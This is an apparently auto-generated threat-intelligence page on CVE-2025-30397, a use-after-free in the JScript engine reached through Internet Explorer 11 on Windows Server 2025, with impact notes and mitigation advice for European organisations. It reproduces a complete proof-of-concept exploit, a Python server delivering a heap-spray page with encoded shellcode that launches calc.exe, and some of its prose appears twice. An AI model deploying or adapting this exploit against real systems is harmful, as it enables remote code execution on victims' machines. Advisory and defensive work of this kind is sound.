Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)
Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The security threat identified as CVE-2025-30397 is a critical remote code execution (RCE) vulnerability affecting the JScript Engine in Microsoft Windows Server 2025, specifically builds 25398 and prior. The vulnerability is a Use-After-Free (UAF) flaw in the jscript.dll component, which can be exploited via heap spraying techniques to execute arbitrary code remotely. The exploit leverages Internet Explorer 11 on Windows Server 2025, where a specially crafted webpage triggers the vulnerability by manipulating the JScript engine's memory management, leading to execution of attacker-controlled shellcode. The provided proof-of-concept (PoC) exploit is implemented in Python 3 and acts as a simple HTTP server delivering a malicious HTML page containing JavaScript that performs heap spraying and triggers the UAF condition. Upon successful exploitation, the shellcode executes calc.exe as a demonstration, confirming arbitrary code execution capability. The exploit requires no authentication but does require user interaction in the form of visiting the malicious URL using Internet Explorer. The vulnerability impacts the confidentiality, integrity, and availability of affected systems by allowing attackers to execute arbitrary code remotely, potentially leading to full system compromise. No official patch or mitigation guidance is currently available, and no known exploits are reported in the wild at this time. However, the presence of publicly available exploit code significantly increases the risk of exploitation once the vulnerability becomes widely known.
Potential Impact
For European organizations, this vulnerability poses a significant risk, especially for enterprises and government entities relying on Windows Server 2025 with Internet Explorer 11 for legacy application support or internal web services. Successful exploitation could lead to complete system takeover, data breaches, disruption of critical services, and lateral movement within networks. The use of Internet Explorer, although deprecated, remains in some environments for compatibility reasons, increasing exposure. The ability to execute arbitrary code remotely without authentication means attackers can compromise vulnerable servers from anywhere, potentially leading to ransomware deployment, espionage, or sabotage. The impact is heightened in sectors such as finance, healthcare, energy, and public administration, where Windows Server infrastructure is prevalent and where data sensitivity and service availability are paramount. Additionally, the lack of a patch and the availability of exploit code lowers the barrier for attackers, increasing the likelihood of targeted attacks against European organizations.
Mitigation Recommendations
Given the absence of official patches, European organizations should implement the following specific mitigations: 1) Immediately restrict or disable Internet Explorer 11 usage on Windows Server 2025 systems, especially for external or untrusted network access. 2) Employ network-level controls such as web filtering and firewall rules to block access to malicious or untrusted websites, particularly those hosting exploit content. 3) Use application whitelisting to prevent execution of unauthorized scripts or binaries, including blocking execution of calc.exe and other suspicious processes. 4) Deploy endpoint detection and response (EDR) solutions capable of detecting heap spraying and unusual script execution patterns. 5) Isolate legacy systems running Windows Server 2025 and IE11 from critical network segments to limit lateral movement. 6) Monitor network traffic and logs for unusual HTTP requests or unexpected outbound connections to attacker-controlled servers. 7) Prepare incident response plans tailored to this vulnerability, including rapid containment and forensic analysis. 8) Engage with Microsoft support channels to obtain early patches or workarounds as they become available. 9) Plan for migration away from Internet Explorer and legacy Windows Server versions to supported platforms with ongoing security updates.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Belgium, Poland, Sweden, Finland
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE) # Exploit Author: Mohammed Idrees Banyamer # Instagram: @@banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-05-31 # CVE: CVE-2025-30397 # Vendor: Microsoft # Affected Versions: Windows Server 2025 (build 25398 and prior) # Tested on: Windows Server 2025 + IE11 (x86) # Type: Remote # Platform: Windows # Vulnerability Type: Use-After-Free (JScript Engine) # Description: This PoC exploits a Use-After-Free vulnerability in jscript.dll to achieve code execution via heap spraying. The shellcode executes calc.exe as a demonstration of code execution. # ============================ # Usage Instructions: # # 1. Save this script as `exploit_server.py`. # 2. Run it with Python 3: # $ python3 exploit_server.py # 3. On the vulnerable target (Windows Server 2025 + IE11): # Open Internet Explorer and navigate to: # http://<attacker-ip>:8080/poc_cve_2025_30397.html # # If the target is vulnerable, calc.exe will be executed. # ============================ import http.server import socketserver PORT = 8080 HTML_CONTENT = b"""<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>PoC - CVE-2025-30397</title> <script> var payload = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"); while (payload.length < 0x1000) payload += payload; var shell = unescape( "%u9090%u9090%uebfc%u5eeb%u31b8%u64c9%u8b8b%u3050%u8b0c%u8b70" + "%u3c4a%u780c%u4f0a%u4b8b%u1c70%u8b1c%u8b6c%u0c5c%u8b14%u285c" + "%uef01%u528b%u8b10%u3c0a%u758b%u1c28%u8b34%u5c6a%u0158%uc985" + "%u75c9%u8b58%u8b10%u3c20%u418b%u0348%u408b%u8b34%u1c4a%uc085" + "%u7401%u0343%u0c6a%u58eb%ue8d0%uff00%u6361%u6c63%u2e00%u6578" + "%u0065" ); var final = payload + shell; var buffer = []; for (var i = 0; i < 1500; i++) buffer[i] = final.substring(0); var sprayTarget = document.createElement("iframe"); sprayTarget.setAttribute("src", "about:blank"); document.body.appendChild(sprayTarget); for (var i = 0; i < 200; i++) { try { sprayTarget.contentWindow.eval("var a = '" + final + "'"); } catch (e) {} } for (var j = 0; j < 1000; j++) { var obj = document.createElement("div"); obj.innerHTML = "EXPLOIT" + j; document.body.appendChild(obj); } var victim = document.createElement("object"); victim.setAttribute("classid", "clsid:0002DF01-0000-0000-C000-000000000046"); document.body.appendChild(victim); alert("PoC loaded. If vulnerable, calc.exe will launch."); </script> </head> <body> <h1 style="color:red;">Exploit PoC: CVE-2025-30397</h1> <h2>Author: Mohammed Idrees Banyamer</h2> <h3>Instagram: <a href="https://instagram.com/mbanyamer" target="_blank">@banyamer_security</a></h3> <h3>GitHub: <a href="https://github.com/mbanyamer" target="_blank">mbanyamer</a></h3> <p>This demonstration is for ethical testing only. Triggering the vulnerability on vulnerable Internet Explorer installations will lead to execution of calc.exe via shellcode.</p> </body> </html> """ class Handler(http.server.SimpleHTTPRequestHandler): def do_GET(self): if self.path == '/' or self.path == '/poc_cve_2025_30397.html': self.send_response(200) self.send_header("Content-type", "text/html") self.send_header("Content-length", str(len(HTML_CONTENT))) self.send_header("X-Content-Type-Options", "nosniff") self.send_header("X-Frame-Options", "SAMEORIGIN") self.send_header("Content-Security-Policy", "default-src 'self'") self.send_header("Cache-Control", "no-cache, no-store, must-revalidate") self.send_header("Pragma", "no-cache") self.send_header("Expires", "0") self.end_headers() self.wfile.write(HTML_CONTENT) else: self.send_error(404, "File Not Found") def run(): print(f"Serving PoC on http://0.0.0.0:{PORT}/poc_cve_2025_30397.html") with socketserver.TCPServer(("", PORT), Handler) as httpd: try: httpd.serve_forever() except KeyboardInterrupt: print("\nServer stopped.") if __name__ == "__main__": run()
Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)
Description
Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The security threat identified as CVE-2025-30397 is a critical remote code execution (RCE) vulnerability affecting the JScript Engine in Microsoft Windows Server 2025, specifically builds 25398 and prior. The vulnerability is a Use-After-Free (UAF) flaw in the jscript.dll component, which can be exploited via heap spraying techniques to execute arbitrary code remotely. The exploit leverages Internet Explorer 11 on Windows Server 2025, where a specially crafted webpage triggers the vulnerability by manipulating the JScript engine's memory management, leading to execution of attacker-controlled shellcode. The provided proof-of-concept (PoC) exploit is implemented in Python 3 and acts as a simple HTTP server delivering a malicious HTML page containing JavaScript that performs heap spraying and triggers the UAF condition. Upon successful exploitation, the shellcode executes calc.exe as a demonstration, confirming arbitrary code execution capability. The exploit requires no authentication but does require user interaction in the form of visiting the malicious URL using Internet Explorer. The vulnerability impacts the confidentiality, integrity, and availability of affected systems by allowing attackers to execute arbitrary code remotely, potentially leading to full system compromise. No official patch or mitigation guidance is currently available, and no known exploits are reported in the wild at this time. However, the presence of publicly available exploit code significantly increases the risk of exploitation once the vulnerability becomes widely known.
Potential Impact
For European organizations, this vulnerability poses a significant risk, especially for enterprises and government entities relying on Windows Server 2025 with Internet Explorer 11 for legacy application support or internal web services. Successful exploitation could lead to complete system takeover, data breaches, disruption of critical services, and lateral movement within networks. The use of Internet Explorer, although deprecated, remains in some environments for compatibility reasons, increasing exposure. The ability to execute arbitrary code remotely without authentication means attackers can compromise vulnerable servers from anywhere, potentially leading to ransomware deployment, espionage, or sabotage. The impact is heightened in sectors such as finance, healthcare, energy, and public administration, where Windows Server infrastructure is prevalent and where data sensitivity and service availability are paramount. Additionally, the lack of a patch and the availability of exploit code lowers the barrier for attackers, increasing the likelihood of targeted attacks against European organizations.
Mitigation Recommendations
Given the absence of official patches, European organizations should implement the following specific mitigations: 1) Immediately restrict or disable Internet Explorer 11 usage on Windows Server 2025 systems, especially for external or untrusted network access. 2) Employ network-level controls such as web filtering and firewall rules to block access to malicious or untrusted websites, particularly those hosting exploit content. 3) Use application whitelisting to prevent execution of unauthorized scripts or binaries, including blocking execution of calc.exe and other suspicious processes. 4) Deploy endpoint detection and response (EDR) solutions capable of detecting heap spraying and unusual script execution patterns. 5) Isolate legacy systems running Windows Server 2025 and IE11 from critical network segments to limit lateral movement. 6) Monitor network traffic and logs for unusual HTTP requests or unexpected outbound connections to attacker-controlled servers. 7) Prepare incident response plans tailored to this vulnerability, including rapid containment and forensic analysis. 8) Engage with Microsoft support channels to obtain early patches or workarounds as they become available. 9) Plan for migration away from Internet Explorer and legacy Windows Server versions to supported platforms with ongoing security updates.
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Technical Details
- Edb Id
- 52315
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)
#!/usr/bin/env python3 # Exploit Title: Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE) # Exploit Author: Mohammed Idrees Banyamer # Instagram: @@banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-05-31 # CVE: CVE-2025-30397 # Vendor: Microsoft # Affected Versions: Windows Server 2025 (build 25398 and prior) # Tested on: Windows Server 2025 + IE11 (x86) # Type: Remote # Platform: Windows # Vulnerability Type: Use-After-Free (JScript Engine) # Descri... (3799 more characters)
Threat ID: 68489c9682cbcead92621398
Added to database: 6/10/2025, 8:59:02 PM
Last enriched: 6/11/2025, 8:09:13 AM
Last updated: 8/22/2025, 11:38:06 AM
Views: 32
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